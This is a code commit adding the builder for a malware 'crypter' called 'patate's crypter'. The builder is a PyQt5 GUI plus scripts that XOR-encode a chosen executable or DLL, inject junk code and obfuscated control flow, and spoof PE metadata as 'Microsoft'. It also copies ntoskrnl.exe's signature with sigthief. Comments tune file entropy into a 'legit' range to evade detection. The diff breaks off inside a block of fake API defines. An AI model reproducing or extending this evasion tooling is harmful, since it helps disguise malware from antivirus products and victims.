fix: file structure, made a bit of refactor
This commit is contained in:
279
Builder/gui.py
Normal file
279
Builder/gui.py
Normal file
@@ -0,0 +1,279 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Form implementation generated from reading ui file 'gui.ui'
|
||||
#
|
||||
# Created by: PyQt5 UI code generator 5.15.6
|
||||
#
|
||||
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
|
||||
# run again. Do not edit this file unless you know what you are doing.
|
||||
|
||||
"""
|
||||
TODO :
|
||||
- Good Section sizes
|
||||
- Random Windows API calls (help)
|
||||
|
||||
Done :
|
||||
- LoadPE
|
||||
- Junk code
|
||||
- Control flow
|
||||
- IAT obfuscation (adding "normal" imports in addition to the others)
|
||||
- Change PE metadata (company, description, etc...)
|
||||
- File icon
|
||||
- Code signing
|
||||
- Good entropy
|
||||
- Add resources (random number of random generated bitmaps) --> Not used because it increases the entropy too much
|
||||
|
||||
Note about entropy :
|
||||
Entropy: between 0 and 8
|
||||
"Most legit" range : [4.8; 6.8]
|
||||
"Most malicious" range : [7.2; 8.0]
|
||||
Best entropy : 6.4
|
||||
"""
|
||||
|
||||
from PyQt5 import QtCore, QtGui, QtWidgets
|
||||
from PyQt5.QtWidgets import QApplication
|
||||
from PyQt5.QtCore import QCoreApplication
|
||||
from PyQt5.QtGui import QPixmap
|
||||
from obfuscation import obfuscate
|
||||
from metadata import change_metadata
|
||||
import os, shutil, glob
|
||||
|
||||
class Ui_mainWindow(object):
|
||||
def __init__(self) :
|
||||
self.xor = False
|
||||
self.cflow = False
|
||||
self.junk = False
|
||||
self.filepath = ""
|
||||
self.icon_path = ""
|
||||
|
||||
def setupUi(self, mainWindow):
|
||||
mainWindow.setObjectName("mainWindow")
|
||||
mainWindow.setEnabled(True)
|
||||
mainWindow.resize(262, 289)
|
||||
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)
|
||||
sizePolicy.setHorizontalStretch(0)
|
||||
sizePolicy.setVerticalStretch(0)
|
||||
sizePolicy.setHeightForWidth(mainWindow.sizePolicy().hasHeightForWidth())
|
||||
mainWindow.setSizePolicy(sizePolicy)
|
||||
mainWindow.setMinimumSize(QtCore.QSize(262, 289))
|
||||
mainWindow.setMaximumSize(QtCore.QSize(262, 289))
|
||||
self.centralwidget = QtWidgets.QWidget(mainWindow)
|
||||
self.centralwidget.setObjectName("centralwidget")
|
||||
self.pushButton = QtWidgets.QPushButton(self.centralwidget)
|
||||
self.pushButton.setGeometry(QtCore.QRect(30, 30, 75, 23))
|
||||
self.pushButton.setObjectName("pushButton")
|
||||
self.checkBox = QtWidgets.QCheckBox(self.centralwidget)
|
||||
self.checkBox.setEnabled(True)
|
||||
self.checkBox.setGeometry(QtCore.QRect(20, 80, 81, 17))
|
||||
self.checkBox.setObjectName("checkBox")
|
||||
self.lineEdit = QtWidgets.QLineEdit(self.centralwidget)
|
||||
self.lineEdit.setGeometry(QtCore.QRect(120, 90, 113, 20))
|
||||
self.lineEdit.setObjectName("lineEdit")
|
||||
self.label = QtWidgets.QLabel(self.centralwidget)
|
||||
self.label.setEnabled(True)
|
||||
self.label.setGeometry(QtCore.QRect(160, 70, 47, 13))
|
||||
self.label.setObjectName("label")
|
||||
self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget)
|
||||
self.pushButton_2.setGeometry(QtCore.QRect(10, 220, 241, 41))
|
||||
self.pushButton_2.setObjectName("pushButton_2")
|
||||
self.label_2 = QtWidgets.QLabel(self.centralwidget)
|
||||
self.label_2.setGeometry(QtCore.QRect(20, 200, 201, 21))
|
||||
self.label_2.setObjectName("label_2")
|
||||
self.checkBox_2 = QtWidgets.QCheckBox(self.centralwidget)
|
||||
self.checkBox_2.setGeometry(QtCore.QRect(20, 120, 91, 16))
|
||||
self.checkBox_2.setObjectName("checkBox_2")
|
||||
self.spinBox = QtWidgets.QSpinBox(self.centralwidget)
|
||||
self.spinBox.setGeometry(QtCore.QRect(155, 118, 42, 22))
|
||||
self.spinBox.setObjectName("spinBox")
|
||||
self.spinBox.setValue(2)
|
||||
self.spinBox.setMinimum(1)
|
||||
self.label_3 = QtWidgets.QLabel(self.centralwidget)
|
||||
self.label_3.setGeometry(QtCore.QRect(120, 122, 47, 13))
|
||||
self.label_3.setObjectName("label_3")
|
||||
self.label_4 = QtWidgets.QLabel(self.centralwidget)
|
||||
self.label_4.setGeometry(QtCore.QRect(120, 142, 47, 13))
|
||||
self.label_4.setObjectName("label_4")
|
||||
self.spinBox_2 = QtWidgets.QSpinBox(self.centralwidget)
|
||||
self.spinBox_2.setGeometry(QtCore.QRect(155, 138, 42, 22))
|
||||
self.spinBox_2.setObjectName("spinBox_2")
|
||||
self.spinBox_2.setValue(8)
|
||||
self.spinBox_2.setMinimum(1)
|
||||
self.checkBox_3 = QtWidgets.QCheckBox(self.centralwidget)
|
||||
self.checkBox_3.setGeometry(QtCore.QRect(20, 140, 91, 16))
|
||||
self.checkBox_3.setObjectName("checkBox_3")
|
||||
self.pushButton_3 = QtWidgets.QPushButton(self.centralwidget)
|
||||
self.pushButton_3.setGeometry(QtCore.QRect(20, 170, 75, 23))
|
||||
self.pushButton_3.setObjectName("pushButton_3")
|
||||
self.label_img = QtWidgets.QLabel(self.centralwidget)
|
||||
self.label_img.setGeometry(QtCore.QRect(120, 160, 51, 41))
|
||||
self.label_img.setObjectName("label_img")
|
||||
mainWindow.setCentralWidget(self.centralwidget)
|
||||
self.statusbar = QtWidgets.QStatusBar(mainWindow)
|
||||
self.statusbar.setEnabled(True)
|
||||
self.statusbar.setSizeGripEnabled(False)
|
||||
self.statusbar.setObjectName("statusbar")
|
||||
mainWindow.setStatusBar(self.statusbar)
|
||||
|
||||
self.retranslateUi(mainWindow)
|
||||
QtCore.QMetaObject.connectSlotsByName(mainWindow)
|
||||
|
||||
# Create a QTimer to call the mainloop function every frame
|
||||
self.timer = QtCore.QTimer()
|
||||
self.timer.timeout.connect(self.mainloop)
|
||||
self.timer.start(16) # Adjust the interval as needed (16 milliseconds for ~60 FPS)
|
||||
|
||||
def retranslateUi(self, mainWindow):
|
||||
_translate = QtCore.QCoreApplication.translate
|
||||
mainWindow.setWindowTitle(_translate("mainWindow", "patate\'s crypter"))
|
||||
self.pushButton.setText(_translate("mainWindow", "Select file"))
|
||||
self.pushButton.clicked.connect(self.fileDialog)
|
||||
self.checkBox.setText(_translate("mainWindow", "XOR Encrypt"))
|
||||
self.label.setText(_translate("mainWindow", "Key :"))
|
||||
self.pushButton_2.setText(_translate("mainWindow", "Generate"))
|
||||
self.pushButton_2.clicked.connect(self.generate)
|
||||
self.pushButton_3.setText(_translate("mainWindow", "Icon"))
|
||||
self.pushButton_3.clicked.connect(self.IconfileDialog)
|
||||
self.label_2.setText(_translate("mainWindow", ""))
|
||||
self.label_2.hide()
|
||||
self.label_3.setText(_translate("mainWindow", "Pass :"))
|
||||
self.label_4.setText(_translate("mainWindow", "Pass :"))
|
||||
self.checkBox_2.setText(_translate("mainWindow", "Add junk code"))
|
||||
self.checkBox_3.setText(_translate("mainWindow", "Control flow"))
|
||||
|
||||
def generate(self) :
|
||||
in_filename = self.filepath
|
||||
out_filename = "../bin/" + self.pushButton.text().split(".")[0] + "_out.exe"
|
||||
xor_key = ''
|
||||
|
||||
if self.xor :
|
||||
xor_key = self.lineEdit.text()
|
||||
|
||||
self.label_2.show()
|
||||
|
||||
if not os.path.exists(in_filename):
|
||||
self.label_2.setText(f"\"{in_filename}\" does not exist!")
|
||||
QCoreApplication.processEvents()
|
||||
return
|
||||
|
||||
self.label_2.setText("Creating sample header...")
|
||||
QCoreApplication.processEvents()
|
||||
|
||||
print(f"Filename : {in_filename}")
|
||||
file = bytearray(open(in_filename, 'rb').read())
|
||||
with open("../Crypter/sample.h", 'w') as output:
|
||||
output.write("unsigned char sample[] = { ")
|
||||
for count, byte in enumerate(file, 1):
|
||||
if xor_key :
|
||||
output.write(
|
||||
f'{byte ^ ord(xor_key[(count - 1) % len(xor_key)]):#0{4}x},' + (
|
||||
'\n' if not count % 16 else ' '))
|
||||
else :
|
||||
output.write(f'{byte:#0{4}x},' + ('\n' if not count % 16 else ' '))
|
||||
|
||||
output.write("};")
|
||||
|
||||
self.label_2.setText("done.")
|
||||
QCoreApplication.processEvents()
|
||||
|
||||
# Working with a copy of main.cpp
|
||||
os.rename("../Crypter/main.cpp", "../Crypter/DO_NOT_TOUCH.cpp")
|
||||
shutil.copyfile('../Crypter/DO_NOT_TOUCH.cpp', '../Crypter/main.cpp')
|
||||
|
||||
with open("../Crypter/config.h", "w") as c :
|
||||
c.write(f'#pragma once\n#define KEY "{xor_key}"')
|
||||
|
||||
self.label_2.setText("Adding junk code...")
|
||||
QCoreApplication.processEvents()
|
||||
obfuscate(self.spinBox.value(), self.spinBox_2.value(), self.cflow, self.junk)
|
||||
self.label_2.setText("done.")
|
||||
QCoreApplication.processEvents()
|
||||
|
||||
self.label_2.setText("Changing metadata...")
|
||||
QCoreApplication.processEvents()
|
||||
change_metadata(self.icon_path)
|
||||
|
||||
self.label_2.setText("done.")
|
||||
QCoreApplication.processEvents()
|
||||
|
||||
self.label_2.setText("Compiling...")
|
||||
QCoreApplication.processEvents()
|
||||
|
||||
vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe
|
||||
cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"
|
||||
|
||||
return_code = os.system("\""+cmd_line+"\" ../Crypter /p:Configuration=Release;Platform=x86;OutDir=.;DebugSymbols=false;DebugType=None;Zm=5000;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+" /t:Rebuild")
|
||||
|
||||
if return_code :
|
||||
self.label_2.setText("build failed.")
|
||||
QCoreApplication.processEvents()
|
||||
|
||||
# Cleaning up..
|
||||
os.remove("../Crypter/main.cpp")
|
||||
os.rename("../Crypter/DO_NOT_TOUCH.cpp", "../Crypter/main.cpp")
|
||||
|
||||
# Find all BMP files in the directory with a wildcard pattern
|
||||
bmp_files = glob.glob(os.path.join(".", "*.bmp"))
|
||||
|
||||
# Delete each BMP file
|
||||
for bmp_file in bmp_files:
|
||||
try:
|
||||
os.remove(bmp_file)
|
||||
except :
|
||||
pass
|
||||
|
||||
if not return_code :
|
||||
self.label_2.setText(f"--> {out_filename}")
|
||||
QCoreApplication.processEvents()
|
||||
else :
|
||||
return
|
||||
|
||||
self.label_2.setText("Signing the file...")
|
||||
QCoreApplication.processEvents()
|
||||
|
||||
windir = os.getenv("WINDIR")
|
||||
cmd = f'python sigthief.py -i "{windir}\\System32\\ntoskrnl.exe" -t {out_filename} -o {out_filename.replace(".exe","")+"_signed"}.exe'
|
||||
os.system(cmd)
|
||||
|
||||
os.remove(out_filename)
|
||||
os.rename(out_filename.replace(".exe","")+"_signed.exe", out_filename)
|
||||
|
||||
self.label_2.setText("done.")
|
||||
QCoreApplication.processEvents()
|
||||
|
||||
def fileDialog(self):
|
||||
options = QtWidgets.QFileDialog.Options()
|
||||
options |= QtWidgets.QFileDialog.ReadOnly
|
||||
filePath, _ = QtWidgets.QFileDialog.getOpenFileName(
|
||||
None, "Select a file", "", "Dll Files (*.dll);;All Files (*)", options=options)
|
||||
if filePath:
|
||||
# Display the selected file path in the QLineEdit
|
||||
self.pushButton.setText(filePath.split("/")[-1:][0])
|
||||
self.filepath = filePath
|
||||
|
||||
|
||||
def IconfileDialog(self):
|
||||
options = QtWidgets.QFileDialog.Options()
|
||||
options |= QtWidgets.QFileDialog.ReadOnly
|
||||
filePath, _ = QtWidgets.QFileDialog.getOpenFileName(
|
||||
None, "Select a file", "", "Icon files (*.ico)", options=options)
|
||||
if filePath:
|
||||
# Display the selected file path in the QLineEdit
|
||||
self.pushButton_3.setText(filePath.split("/")[-1:][0])
|
||||
self.icon_path = filePath
|
||||
self.pixmap = QPixmap(filePath)
|
||||
self.pixmap = self.pixmap.scaled(self.label_img.size(), QtCore.Qt.KeepAspectRatio, QtCore.Qt.SmoothTransformation)
|
||||
self.label_img.setPixmap(self.pixmap)
|
||||
|
||||
def mainloop(self) :
|
||||
self.xor = self.checkBox.isChecked()
|
||||
self.cflow = self.checkBox_3.isChecked()
|
||||
self.junk = self.checkBox_2.isChecked()
|
||||
|
||||
if __name__ == "__main__":
|
||||
import sys
|
||||
app = QtWidgets.QApplication(sys.argv)
|
||||
mainWindow = QtWidgets.QMainWindow()
|
||||
ui = Ui_mainWindow()
|
||||
ui.setupUi(mainWindow)
|
||||
mainWindow.show()
|
||||
sys.exit(app.exec_())
|
||||
206
Builder/gui.ui
Normal file
206
Builder/gui.ui
Normal file
@@ -0,0 +1,206 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<ui version="4.0">
|
||||
<class>mainWindow</class>
|
||||
<widget class="QMainWindow" name="mainWindow">
|
||||
<property name="enabled">
|
||||
<bool>true</bool>
|
||||
</property>
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>0</x>
|
||||
<y>0</y>
|
||||
<width>262</width>
|
||||
<height>289</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="sizePolicy">
|
||||
<sizepolicy hsizetype="Fixed" vsizetype="Fixed">
|
||||
<horstretch>0</horstretch>
|
||||
<verstretch>0</verstretch>
|
||||
</sizepolicy>
|
||||
</property>
|
||||
<property name="minimumSize">
|
||||
<size>
|
||||
<width>262</width>
|
||||
<height>289</height>
|
||||
</size>
|
||||
</property>
|
||||
<property name="maximumSize">
|
||||
<size>
|
||||
<width>262</width>
|
||||
<height>289</height>
|
||||
</size>
|
||||
</property>
|
||||
<property name="windowTitle">
|
||||
<string>patate's crypter</string>
|
||||
</property>
|
||||
<widget class="QWidget" name="centralwidget">
|
||||
<widget class="QPushButton" name="pushButton">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>30</x>
|
||||
<y>30</y>
|
||||
<width>75</width>
|
||||
<height>23</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Select file</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QCheckBox" name="checkBox">
|
||||
<property name="enabled">
|
||||
<bool>true</bool>
|
||||
</property>
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>20</x>
|
||||
<y>80</y>
|
||||
<width>81</width>
|
||||
<height>17</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>XOR Encrypt</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLineEdit" name="lineEdit">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>120</x>
|
||||
<y>90</y>
|
||||
<width>113</width>
|
||||
<height>20</height>
|
||||
</rect>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="label">
|
||||
<property name="enabled">
|
||||
<bool>true</bool>
|
||||
</property>
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>160</x>
|
||||
<y>70</y>
|
||||
<width>47</width>
|
||||
<height>13</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Key :</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="pushButton_2">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>10</x>
|
||||
<y>220</y>
|
||||
<width>241</width>
|
||||
<height>41</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Generate</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="label_2">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>20</x>
|
||||
<y>200</y>
|
||||
<width>201</width>
|
||||
<height>21</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Generated aaa.exe</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QCheckBox" name="checkBox_2">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>20</x>
|
||||
<y>120</y>
|
||||
<width>91</width>
|
||||
<height>16</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Add junk code</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QCheckBox" name="checkBox_3">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>20</x>
|
||||
<y>140</y>
|
||||
<width>91</width>
|
||||
<height>16</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Control flow</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QSpinBox" name="spinBox">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>155</x>
|
||||
<y>118</y>
|
||||
<width>42</width>
|
||||
<height>22</height>
|
||||
</rect>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="label_3">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>120</x>
|
||||
<y>122</y>
|
||||
<width>47</width>
|
||||
<height>13</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Pass :</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="pushButton_3">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>20</x>
|
||||
<y>170</y>
|
||||
<width>75</width>
|
||||
<height>23</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Icon</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="label_4">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>120</x>
|
||||
<y>160</y>
|
||||
<width>51</width>
|
||||
<height>41</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>TextLabel</string>
|
||||
</property>
|
||||
</widget>
|
||||
</widget>
|
||||
<widget class="QStatusBar" name="statusbar">
|
||||
<property name="enabled">
|
||||
<bool>true</bool>
|
||||
</property>
|
||||
<property name="sizeGripEnabled">
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
</widget>
|
||||
</widget>
|
||||
<resources/>
|
||||
<connections/>
|
||||
</ui>
|
||||
65
Builder/metadata.py
Normal file
65
Builder/metadata.py
Normal file
@@ -0,0 +1,65 @@
|
||||
from randomness import *
|
||||
from PIL import Image, ImageDraw
|
||||
|
||||
def generate_bmp(filename):
|
||||
# Define the dimensions of the BMP image
|
||||
width = 256 # Width of the image
|
||||
height = 256 # Height of the image
|
||||
|
||||
# Create a new blank image with a white background
|
||||
img = Image.new('RGB', (width, height), 'white')
|
||||
|
||||
# Create a drawing object to draw on the image
|
||||
draw = ImageDraw.Draw(img)
|
||||
|
||||
# Generate random pixel colors and fill the image
|
||||
for x in range(width):
|
||||
for y in range(height):
|
||||
red = GetRandomRange(0, 255)
|
||||
green = GetRandomRange(0, 255)
|
||||
blue = GetRandomRange(0, 255)
|
||||
pixel_color = (red, green, blue)
|
||||
draw.point((x, y), fill=pixel_color)
|
||||
|
||||
# Save the generated BMP image
|
||||
img.save(filename, 'BMP')
|
||||
|
||||
def change_metadata(icon_file) :
|
||||
number_of_bmp = 0#GetRandomRange(2, 6) makes the entropy go to 7.4 for ONE image, so very very very bad
|
||||
f = open("../Crypter/patate-crypter.rc", "r")
|
||||
f_c = f.readlines()
|
||||
f.close()
|
||||
|
||||
o = open("../Crypter/patate-crypter.rc", "w")
|
||||
for line in f_c :
|
||||
if "CompanyName" in line :
|
||||
line = f'\t\t\tVALUE "CompanyName", "Microsoft"\n'
|
||||
|
||||
elif "FileDescription" in line :
|
||||
line = f'\t\t\tVALUE "FileDescription", "{GetRandomString(20)}"\n'
|
||||
|
||||
elif "InternalName" in line :
|
||||
line = f'\t\t\tVALUE "InternalName", "{GetRandomString(7)}.exe"\n'
|
||||
|
||||
elif "OriginalFilename" in line :
|
||||
line = f'\t\t\tVALUE "OriginalFilename", "{GetRandomString(7)}.exe"\n'
|
||||
|
||||
elif "ProductName" in line :
|
||||
line = f'\t\t\tVALUE "ProductName", "{GetRandomString(7)}.exe"\n'
|
||||
|
||||
elif "MAINICON" in line :
|
||||
if icon_file != "" :
|
||||
line = f'MAINICON ICON "{icon_file}"\n'
|
||||
else :
|
||||
line = f'//MAINICON ICON "{icon_file}"\n'
|
||||
|
||||
for i in range(number_of_bmp) :
|
||||
bmp_name = f"img_{i}.bmp"
|
||||
generate_bmp(bmp_name)
|
||||
line += f'{GetRandomString(10)} BITMAP "{bmp_name}"\n'
|
||||
|
||||
elif "BITMAP" in line : line = ""
|
||||
|
||||
o.write(line)
|
||||
|
||||
o.close()
|
||||
309
Builder/obfuscation.py
Normal file
309
Builder/obfuscation.py
Normal file
@@ -0,0 +1,309 @@
|
||||
import os, string, re
|
||||
from randomness import *
|
||||
|
||||
"""
|
||||
Creates :
|
||||
- Random variables (local and globals)
|
||||
- Random operations on globals
|
||||
- Random function definitions
|
||||
- Random function calls
|
||||
- Random control flow
|
||||
"""
|
||||
|
||||
types = ["short", "unsigned short", "int", "unsigned int", "long", "unsigned long"] #"float", "double"]
|
||||
operations = ["-", "+", "^", "*", "/"]
|
||||
global_vars = {}
|
||||
functions = []
|
||||
in_func = False
|
||||
|
||||
def GetRandomVar() :
|
||||
global global_vars
|
||||
global in_func
|
||||
vtype = types[GetRandomRange(0, len(types)-1)]
|
||||
vname = GetRandomString(15)
|
||||
t = vtype + " " + vname + " = "
|
||||
|
||||
val = str(GetRandomNumber())
|
||||
if vtype == "float" or vtype == "double" : val = str(GetRandomNumber())+"."+str(GetRandomNumber())
|
||||
if vtype == "float" : val += "f"
|
||||
res = t + val + ";"
|
||||
|
||||
if not in_func :
|
||||
global_vars[vname] = vtype
|
||||
|
||||
return res
|
||||
|
||||
def GetRandomOperation() :
|
||||
global global_vars
|
||||
vars_ = list(global_vars.items())
|
||||
if len(vars_) < 1 : return ""
|
||||
|
||||
v1 = vars_[GetRandomRange(0, len(vars_)-1)]
|
||||
|
||||
op = operations[GetRandomRange(0, len(operations)-1)]
|
||||
res = ""
|
||||
res += v1[0] + " " + op + "= "
|
||||
|
||||
vtype = v1[1]
|
||||
val = str(GetRandomNumber())
|
||||
if vtype == "float" or vtype == "double" :
|
||||
if op == "^" : return GetRandomOperation()
|
||||
val = str(GetRandomNumber())+"."+str(GetRandomNumber())
|
||||
if vtype == "float" : val += "f"
|
||||
|
||||
res += val + ";"
|
||||
return res
|
||||
|
||||
def GetRandomFunction() :
|
||||
global functions
|
||||
name = GetRandomString(15)
|
||||
functions.append(name)
|
||||
|
||||
body = "int "+name+"(const char* a1) {\n"
|
||||
body += "\tif (a1 <= (void*)0x00100000) return 0;\n"
|
||||
body += "\tchar aaa = ((char)((int)'0' + 1));\n"
|
||||
body += f"\tint bb = {GetRandomNumber()};\n"
|
||||
body += "\tfor (int i = 0; i < 10; i++) {\n\t\tCreateMutexA(NULL, false, &aaa);\n\t\tbb++;\n\t}\n\treturn bb;\n}"
|
||||
|
||||
return body
|
||||
|
||||
def CallRandomFunction() :
|
||||
global functions
|
||||
if len(functions) < 1 : return ""
|
||||
|
||||
sub = functions[GetRandomRange(0, len(functions)-1)]
|
||||
return "int " + GetRandomString(15) + " = " + sub + "(\""+GetRandomString(10)+"\");"
|
||||
|
||||
def GetAsmBlock(branch1, branch2, var, end, sub) :
|
||||
asm_block = """\n\t\tcmp eax, """+str(GetRandomNumber())+"""
|
||||
jne """+branch1+"""
|
||||
jmp """+branch2+"""
|
||||
"""+branch1+""":"""
|
||||
|
||||
|
||||
if GetRandomRange(0, 4) > 1 :
|
||||
branch1 = GetRandomString(20)
|
||||
branch2_ = GetRandomString(20)
|
||||
asm_block += GetAsmBlock(branch1, branch2_, var, end, sub)
|
||||
|
||||
asm_block += "\n\t"+branch2+":\n\t\tmov eax, "+var+"\n\t\tcall "+sub
|
||||
|
||||
return asm_block
|
||||
|
||||
def GetRandomAssemblyBlock() :
|
||||
global functions
|
||||
if len(functions) < 1 : return ""
|
||||
sub = functions[GetRandomRange(0, len(functions)-1)]
|
||||
|
||||
branch1 = GetRandomString(20)
|
||||
branch2 = GetRandomString(20)
|
||||
end = GetRandomString(20)
|
||||
var = GetRandomString(15)
|
||||
|
||||
r = """const char* """+var+""" = \""""+GetRandomString(5)+"""\";\n__asm {"""
|
||||
|
||||
for i in range(GetRandomRange(0, 30)) :
|
||||
branch1 = GetRandomString(20)
|
||||
branch2 = GetRandomString(20)
|
||||
end = GetRandomString(20)
|
||||
r += GetAsmBlock(branch1, branch2, var, end, sub)
|
||||
|
||||
r += """\n};"""
|
||||
return r
|
||||
|
||||
def generate_switch_statement(variable_name, exit_value, depth=0):
|
||||
indent = " " * depth
|
||||
switch_code = f"{indent}switch ({variable_name}) {{\n"
|
||||
|
||||
num_cases = GetRandomRange(2, 5)
|
||||
for _ in range(num_cases):
|
||||
case_value = GetRandomRange(1, 10**6)
|
||||
switch_code += f"{indent} case {case_value}:\n"
|
||||
if depth < 2 and GetRandomRange(0, 4) > 1 :
|
||||
switch_code += generate_switch_statement(variable_name, exit_value, depth + 1)
|
||||
else:
|
||||
switch_code += f"{indent} {{\n"
|
||||
switch_code += f"{indent} // Your code here\n"
|
||||
switch_code += f"{indent} break;\n"
|
||||
switch_code += f"{indent} }}\n"
|
||||
|
||||
switch_code += f"{indent} default:\n"
|
||||
switch_code += f"{indent} {{\n"
|
||||
switch_code += f"{indent} {variable_name} = {exit_value};\n"
|
||||
switch_code += f"{indent} break;\n"
|
||||
switch_code += f"{indent} }}\n"
|
||||
|
||||
switch_code += f"{indent}}}\n"
|
||||
|
||||
return switch_code
|
||||
|
||||
def GetRandomControlFlow():
|
||||
cpp_code = ""
|
||||
var_name = GetRandomString(15)
|
||||
end_num = GetRandomNumber()
|
||||
cpp_code += f"int {var_name} = {end_num};\n"
|
||||
cpp_code += "while ("+var_name+" != "+str(end_num)+") {\n"
|
||||
cpp_code += generate_switch_statement(var_name, end_num)
|
||||
cpp_code += " }\n"
|
||||
|
||||
return cpp_code
|
||||
|
||||
FILES_TO_OBFUSCATE = {"../Crypter/main.cpp":"../Crypter/DO_NOT_TOUCH.cpp"}# "getapi.cpp":"DO_NOT_TOUCH_API.cpp"}
|
||||
def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
|
||||
if PASS < CFLOW_PASS : PASS = CFLOW_PASS
|
||||
|
||||
if not cflow and not junk : PASS = 0
|
||||
|
||||
global global_vars
|
||||
global functions
|
||||
global in_func
|
||||
func_def_pattern = r'\b\w+\s+\w+\s*\([^)]*\)\s*'
|
||||
|
||||
for outfile, infile in FILES_TO_OBFUSCATE.items():
|
||||
if PASS == 0 : break;
|
||||
|
||||
f = open(infile, "r")
|
||||
o = open(outfile, "w")
|
||||
out = []
|
||||
|
||||
lines = f.readlines()
|
||||
for k in range(PASS) :
|
||||
in_comment = False
|
||||
in_switch = False
|
||||
in_asm = False
|
||||
in_dowhile = False
|
||||
can_code = False
|
||||
wait_for_func_close = False
|
||||
in_debug = False
|
||||
global_vars = {}
|
||||
functions = []
|
||||
out = []
|
||||
idx = 0
|
||||
for line in lines :
|
||||
idx += 1
|
||||
out.append(line)
|
||||
|
||||
if idx+1 < len(lines)-1 and "//END" in lines[idx+1] or "//END" in line:
|
||||
in_func = False
|
||||
wait_for_func_close = True
|
||||
continue
|
||||
if wait_for_func_close and "}" in line :
|
||||
in_func = False
|
||||
wait_for_func_close = False
|
||||
continue
|
||||
if wait_for_func_close :
|
||||
continue
|
||||
|
||||
if "//START" in line : in_func = True
|
||||
if "/*" in line : in_comment = True
|
||||
elif "*/" in line : in_comment = False
|
||||
if "switch" in line : in_switch = True
|
||||
elif in_switch and "}" in line : in_switch = False
|
||||
if "__asm" in line : in_asm = True
|
||||
elif in_asm and "}" in line : in_asm = False
|
||||
if "// Your code here" in line :
|
||||
#can_code = True
|
||||
pass
|
||||
elif "break;" in line and can_code :
|
||||
can_code = False
|
||||
if "#ifdef _DEBUG" in line :
|
||||
in_debug = True
|
||||
elif in_debug and "#endif" in line :
|
||||
in_debug = False
|
||||
continue
|
||||
if "do {" in line :
|
||||
in_dowhile = True
|
||||
elif in_dowhile and "while" in line :
|
||||
in_dowhile = False
|
||||
continue
|
||||
|
||||
if in_debug : continue
|
||||
if in_dowhile : continue
|
||||
a = "{" in line or "}" in line or "#" in line
|
||||
b = re.search(func_def_pattern, line) != None
|
||||
|
||||
if not can_code :
|
||||
if b or a or in_comment or in_switch or in_asm : continue # we can't write
|
||||
|
||||
if GetRandomBool() and junk and k < PASS : # do we create a variable ?
|
||||
out.append(GetRandomVar()+"\n")
|
||||
|
||||
if GetRandomBool() and in_func and junk and k < PASS : # do we do an operation on globals ?
|
||||
out.append(GetRandomOperation()+"\n")
|
||||
|
||||
if GetRandomBool() and not in_func : # do we create a function ?
|
||||
out.append(GetRandomFunction()+"\n")
|
||||
|
||||
if GetRandomBool() and in_func : # do we call a function ?
|
||||
out.append(CallRandomFunction()+"\n")
|
||||
|
||||
if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ?
|
||||
out.append(GetRandomAssemblyBlock()+"\n")
|
||||
|
||||
if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ?
|
||||
out.append(GetRandomControlFlow()+"\n")
|
||||
|
||||
lines = out
|
||||
|
||||
fake_api = """#define k_AreFileApisANSI (*(DWORD(WINAPI *)(VOID)) AreFileApisANSI)\r\n
|
||||
#define k_AssignProcessToJobObject (*(DWORD(WINAPI *)(DWORD,DWORD)) AssignProcessToJobObject)\r\n
|
||||
#define k_CancelWaitableTimer (*(DWORD(WINAPI *)(DWORD)) CancelWaitableTimer)\r\n
|
||||
